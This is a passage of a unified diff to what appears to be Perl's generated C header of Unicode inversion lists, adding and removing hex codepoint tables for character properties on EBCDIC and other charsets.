0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF65, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A56, - 0x10A58, - 0x10AF0, - 0x10AF6, - 0x10B3A, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, - 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, - 0x11238, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144E, - 0x1145B, - 0x1145C, - 0x115C2, - 0x115C6, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11AA1, - 0x11AA3, - 0x11C41, - 0x11C44, - 0x11C71, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_TERM_invlist[] = { /* for EBCDIC 037 */ - 197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x5A, - 0x5B, - 0x5E, - 0x5F, - 0x6B, - 0x6C, - 0x6F, - 0x70, - 0x7A, - 0x7B, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x589, - 0x58A, - 0x5C3, - 0x5C4, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x70B, - 0x70C, - 0x70D, - 0x7F8, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0xE5A, - 0xE5C, - 0xF08, - 0xF09, - 0xF0D, - 0xF13, - 0x104A, - 0x104C, - 0x1361, - 0x1369, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBD, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCD, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4D, + 0xD4E, + 0xD4F, + 0xD54, + 0xD58, + 0xD5F, + 0xD64, + 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE3B, + 0xE40, + 0xE47, + 0xE4D, + 0xE4E, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xECD, + 0xECE, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF82, + 0xF88, + 0xF98, + 0xF99, + 0xFBD, + 0x1000, + 0x1037, + 0x1038, + 0x1039, + 0x103B, + 0x1040, + 0x1050, + 0x1063, + 0x1065, + 0x1069, + 0x106E, + 0x1087, + 0x108E, + 0x108F, + 0x109C, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135F, + 0x1360, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, 0x166D, 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, 0x16EB, 0x16EE, - 0x1735, - 0x1737, - 0x17D4, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1714, + 0x1720, + 0x1734, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17B4, + 0x17B6, + 0x17C9, 0x17D7, - 0x17DA, - 0x17DB, - 0x1802, - 0x1806, - 0x1808, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B60, - 0x1C3B, - 0x1C40, + 0x17D8, + 0x17DC, + 0x17DD, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x1939, + 0x1950, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x1A00, + 0x1A1C, + 0x1A20, + 0x1A5F, + 0x1A61, + 0x1A75, + 0x1AA7, + 0x1AA8, + 0x1B00, + 0x1B34, + 0x1B35, + 0x1B44, + 0x1B45, + 0x1B4C, + 0x1B80, + 0x1BAA, + 0x1BAC, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BE7, + 0x1BF2, + 0x1C00, + 0x1C36, + 0x1C4D, + 0x1C50, + 0x1C5A, 0x1C7E, 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, + 0x1C89, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF4, + 0x1CF5, + 0x1CF7, + 0x1D00, + 0x1DC0, + 0x1DE7, + 0x1DF5, + 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E00, 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x2E41, - 0x2E42, - 0x3001, - 0x3003, + 0x2E30, + 0x3005, + 0x3008, + 0x3021, + 0x302A, + 0x3031, + 0x3036, + 0x3038, + 0x303D, + 0x3041, + 0x3097, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, 0xA4FE, 0xA500, 0xA60D, 0xA610, - 0xA6F3, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA92F, + 0xA620, + 0xA62A, + 0xA62C, + 0xA640, + 0xA66F, + 0xA674, + 0xA67C, + 0xA67F, + 0xA6F0, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA828, + 0xA840, + 0xA874, + 0xA880, + 0xA8C4, + 0xA8C5, + 0xA8C6, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA90A, + 0xA92B, 0xA930, - 0xA9C7, - 0xA9CA, - 0xAA5D, + 0xA953, + 0xA960, + 0xA97D, + 0xA980, + 0xA9B3, + 0xA9B4, + 0xA9C0, + 0xA9CF, + 0xA9D0, + 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, 0xAA60, - 0xAADF, + 0xAA77, + 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAABF, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, 0xAAE0, 0xAAF0, 0xAAF2, + 0xAAF6, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, 0xABEB, - 0xABEC, - 0xFE50, - 0xFE53, - 0xFE54, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF65, - 0x1039F, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFF21, + 0xFF3B, + 0xFF41, + 0xFF5B, + 0xFF66, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, 0x103A0, + 0x103C4, + 0x103C8, 0x103D0, 0x103D1, - 0x10857, - 0x10858, - 0x1091F, + 0x103D6, + 0x10400, + 0x1049E, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, 0x10920, - 0x10A56, - 0x10A58, - 0x10AF0, - 0x10AF6, - 0x10B3A, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, + 0x10AE5, + 0x10B00, + 0x10B36, 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11046, + 0x11082, + 0x110B9, + 0x110D0, + 0x110E9, + 0x11100, + 0x11133, + 0x11150, + 0x11173, + 0x11176, + 0x11177, + 0x11180, + 0x111C0, + 0x111C1, 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x11235, + 0x11237, 0x11238, - 0x1123D, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, 0x112A9, - 0x112AA, + 0x112B0, + 0x112E9, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133D, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134D, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11400, + 0x11442, + 0x11443, + 0x11446, + 0x11447, 0x1144B, - 0x1144E, - 0x1145B, - 0x1145C, - 0x115C2, - 0x115C6, - 0x115C9, + 0x11480, + 0x114C2, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x11580, + 0x115B6, + 0x115B8, + 0x115BF, 0x115D8, + 0x115DE, + 0x11600, + 0x1163F, + 0x11640, 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11AA1, - 0x11AA3, + 0x11644, + 0x11645, + 0x11680, + 0x116B6, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172B, + 0x118A0, + 0x118E0, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C3F, + 0x11C40, 0x11C41, - 0x11C44, - 0x11C71, 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16AD0, + 0x16AEE, + 0x16B00, 0x16B37, - 0x16B3A, + 0x16B40, 0x16B44, - 0x16B45, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9E, 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8B + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E900, + 0x1E944, + 0x1E947, + 0x1E948, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E }; -# endif /* EBCDIC 037 */ - -static const UV PL_TFNG_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ +static const UV XPosixBlank_invlist[] = { /* for EBCDIC 1047 */ + 15, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D80 + 0x5, + 0x6, + 0x40, + 0x42, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 }; -static const UV PL_TGLG_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ +static const UV XPosixCntrl_invlist[] = { /* for EBCDIC 1047 */ + 4, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1735, - 0x1737 + 0x40, + 0xFF, + 0x100 }; -static const UV PL_THAA_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ +static const UV XPosixDigit_invlist[] = { /* for EBCDIC 1047 */ + 109, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x60C, - 0x60D, - 0x61B, - 0x61D, - 0x61F, - 0x620, + 0xF0, + 0xFA, 0x660, 0x66A, - 0x780, - 0x7B2, - 0xFDF2, - 0xFDF3, - 0xFDFD, - 0xFDFE + 0x6F0, + 0x6FA, + 0x7C0, + 0x7CA, + 0x966, + 0x970, + 0x9E6, + 0x9F0, + 0xA66, + 0xA70, + 0xAE6, + 0xAF0, + 0xB66, + 0xB70, + 0xBE6, + 0xBF0, + 0xC66, + 0xC70, + 0xCE6, + 0xCF0, + 0xD66, + 0xD70, + 0xDE6, + 0xDF0, + 0xE50, + 0xE5A, + 0xED0, + 0xEDA, + 0xF20, + 0xF2A, + 0x1040, + 0x104A, + 0x1090, + 0x109A, + 0x17E0, + 0x17EA, + 0x1810, + 0x181A, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1B50, + 0x1B5A, + 0x1BB0, + 0x1BBA, + 0x1C40, + 0x1C4A, + 0x1C50, + 0x1C5A, + 0xA620, + 0xA62A, + 0xA8D0, + 0xA8DA, + 0xA900, + 0xA90A, + 0xA9D0, + 0xA9DA, + 0xA9F0, + 0xA9FA, + 0xAA50, + 0xAA5A, + 0xABF0, + 0xABFA, + 0xFF10, + 0xFF1A, + 0x104A0, + 0x104AA, + 0x11066, + 0x11070, + 0x110F0, + 0x110FA, + 0x11136, + 0x11140, + 0x111D0, + 0x111DA, + 0x112F0, + 0x112FA, + 0x11450, + 0x1145A, + 0x114D0, + 0x114DA, + 0x11650, + 0x1165A, + 0x116C0, + 0x116CA, + 0x11730, + 0x1173A, + 0x118E0, + 0x118EA, + 0x11C50, + 0x11C5A, + 0x16A60, + 0x16A6A, + 0x16B50, + 0x16B5A, + 0x1D7CE, + 0x1D800, + 0x1E950, + 0x1E95A }; -static const UV PL_THAI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ +static const UV XPosixGraph_invlist[] = { /* for EBCDIC 1047 */ + 1287, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x42, + 0xFF, + 0x100, + 0x378, + 0x37A, + 0x380, + 0x384, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x530, + 0x531, + 0x557, + 0x559, + 0x560, + 0x561, + 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7FB, + 0x800, + 0x82E, + 0x830, + 0x83F, + 0x840, + 0x85C, + 0x85E, + 0x85F, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9FC, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF2, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB78, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, + 0xD54, + 0xD64, + 0xD66, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, 0xE01, 0xE3B, - 0xE40, - 0xE5C -}; - -static const UV PL_TIBT_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, 0xF00, 0xF48, 0xF49, @@ -350244,1397 +56773,4770 @@ static const UV PL_TIBT_invlist[] = { /* for all charsets */ 0xFBE, 0xFCD, 0xFCE, - 0xFD5, - 0xFD9, - 0xFDB -}; - -static const UV PL_TIRH_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x964, - 0x966, - 0xA830, - 0xA83A, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA -}; - -static const UV PL_TRANSPORTANDMAP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F680, - 0x1F700 -}; - 